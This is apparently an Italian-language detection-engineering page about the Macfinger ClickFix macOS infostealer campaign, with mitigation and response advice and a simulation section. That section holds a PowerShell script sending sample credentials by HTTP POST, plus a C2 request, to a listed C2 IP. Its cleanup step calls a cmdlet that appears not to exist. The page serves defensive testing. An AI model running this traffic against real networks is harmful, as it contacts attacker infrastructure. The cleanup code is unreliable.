Campagna Macfinger ClickFix: Analisi del Malware
Detection stack
- AIDR
- Alert
- ETL
- Query
Sintesi
La campagna Macfinger ClickFix distribuisce un stealer di informazioni macOS non identificato tramite pagine di verifica CAPTCHA false. L’attacco utilizza script di shell per recuperare i binari Mach-O specifici dell’architettura, sia per sistemi Intel che Apple Silicon. Una volta avviato, il malware richiede ampie autorizzazioni di sistema ed esfiltra informazioni sensibili attraverso richieste HTTP POST e comunicazioni basate su WebSocket.
Investigazione
L’indagine si è concentrata su un’infezione osservata su un host macOS 27.0. Gli analisti hanno tracciato il loader iniziale dello script di shell, il successivo recupero dei binari Mach-O e i modelli di comunicazione di comando e controllo del malware. La ricerca ha anche differenziato la minaccia dallo Stealer AMOS precedentemente documentato basandosi su differenze nella persistenza, nella raccolta dei dati e nel comportamento di esfiltrazione.
Mitigazione
Gli utenti dovrebbero evitare di interagire con prompt CAPTCHA basati su browser sospetti o di eseguire comandi del terminale inaspettati forniti da siti web. Le organizzazioni dovrebbero monitorare le modifiche non autorizzate agli LaunchAgents e i download sospetti scritti nella /Library/Caches directory. Limitare i privilegi amministrativi può anche ridurre la capacità del malware di ottenere le autorizzazioni di sistema necessarie per l’esecuzione.
Risposta
Quando viene rilevata un’attività correlata a Macfinger, isolare il macOS endpoint interessato dalla rete per prevenire ulteriore esfiltrazione di dati. Eseguire un’analisi forense delle /Library/LaunchAgents/ and /Library/Caches/ directory per identificare gli artefatti di persistenza. Esaminare i log di sistema per richiestde autorizzazioni non autorizzate e accessi a posizioni sensibili come Documents, Desktop e Downloads.
Flusso di Attacco
Rilevamenti
Comando e Controllo Sospetto attraverso Richieste DNS con Dominio di Primo Livello (TLD) Insolito (via dns)
Possibile Manipolazione di Stringhe Codificate in Base64 [MacOS] (via cmdline)
Tentativo di Esecuzione Curl Sospetta [MacOS] (via cmdline)
Indicatori di Compromissione (HashSha256) per rilevare: Uno Sguardo Approfondito al Malware della Campagna Macfinger ClickFix
Indicatori di Compromissione (SourceIP) per rilevare: Uno Sguardo Approfondito al Malware della Campagna Macfinger ClickFix
Indicatori di Compromissione (DestinationIP) per rilevare: Uno Sguardo Approfondito al Malware della Campagna Macfinger ClickFix
Rileva Traffico C2 e Esfiltrazione Dati di Macfinger ClickFix [Traffico HTTP]
Rilevamento di Infezione della Campagna Macfinger ClickFix [Creazione di Processi macOS]
Esecuzione della Simulazione
-
Narrativa dell’Attacco & Comandi: L’avversario ha ottenuto con successo l’accesso iniziale e sta tentando di esfiltrare le credenziali raccolte. Per evitare il rilevamento da filtri web standard, utilizzano un agente basato su Go personalizzato. L’agente è programmato per inviare una richiesta POST contenente le credenziali dell’utente all’endpoint C2
/api/credentials. Successivamente, stabilisce una connessione WebSocket a/api/tper ricevere ulteriori istruzioni. La simulazione utilizzerà PowerShell per simulare queste specifiche caratteristiche HTTP (IP, User-Agent e URI) per attivare la regola di rilevamento. -
Script di Test di Regressione:
# Simulazione del Traffico C2 di Macfinger $C2_IP = "95.163.153.80" $UserAgent = "Go-http-client/1.1" Write-Host "[+] Inizio Simulazione Macfinger..." -ForegroundColor Cyan # 1. Simula Esfiltrazione Dati via HTTP POST Write-Host "[+] Tentativo di Esfiltrazione Dati (POST /api/credentials)..." -ForegroundColor Yellow try { $exfilParams = @{ Uri = "http://$($C2_IP)/api/credentials" Method = "POST" UserAgent = $UserAgent Body = "user=admin&pass=P@ssword123" ContentType = "application/x-www-form-urlencoded" } Invoke-RestMethod @exfilParams } catch { Write-Host "[-] Richiesta fallita (Previsto se l'IP non è raggiungibile): $($_.Exception.Message)" -ForegroundColor Gray } # 2. Simula Comando & Controllo tramite WebSocket (Simulato via HTTP GET su URI specifico) # Nota: Le vere handshake WebSocket richiedono librerie specifiche, ma per la telemetria di rete, # la richiesta GET iniziale all'URI è il principale trigger. Write-Host "[+] Tentativo di Handshake WebSocket (GET /api/t)..." -ForegroundColor Yellow try { $wsParams = @{ Uri = "http://$($C2_IP)/api/t" Method = "GET" UserAgent = $UserAgent } Invoke-RestMethod @wsParams } catch { Write-Host "[-] Richiesta fallita (Previsto se l'IP non è raggiungibile): $($_.Exception.Message)" -ForegroundColor Gray } Write-Host "[+] Simulazione Completa." -ForegroundColor Cyan -
Comandi di Pulizia:
# Questo script di simulazione non crea artefatti persistenti. # Assicurarsi che non rimangono connessioni attive all'IP di destinazione. Get-NetTCPConnection -RemoteAddress 95.163.153.80 -ErrorAction SilentlyContinue | Remove-NetTCPConnection -Confirm:$false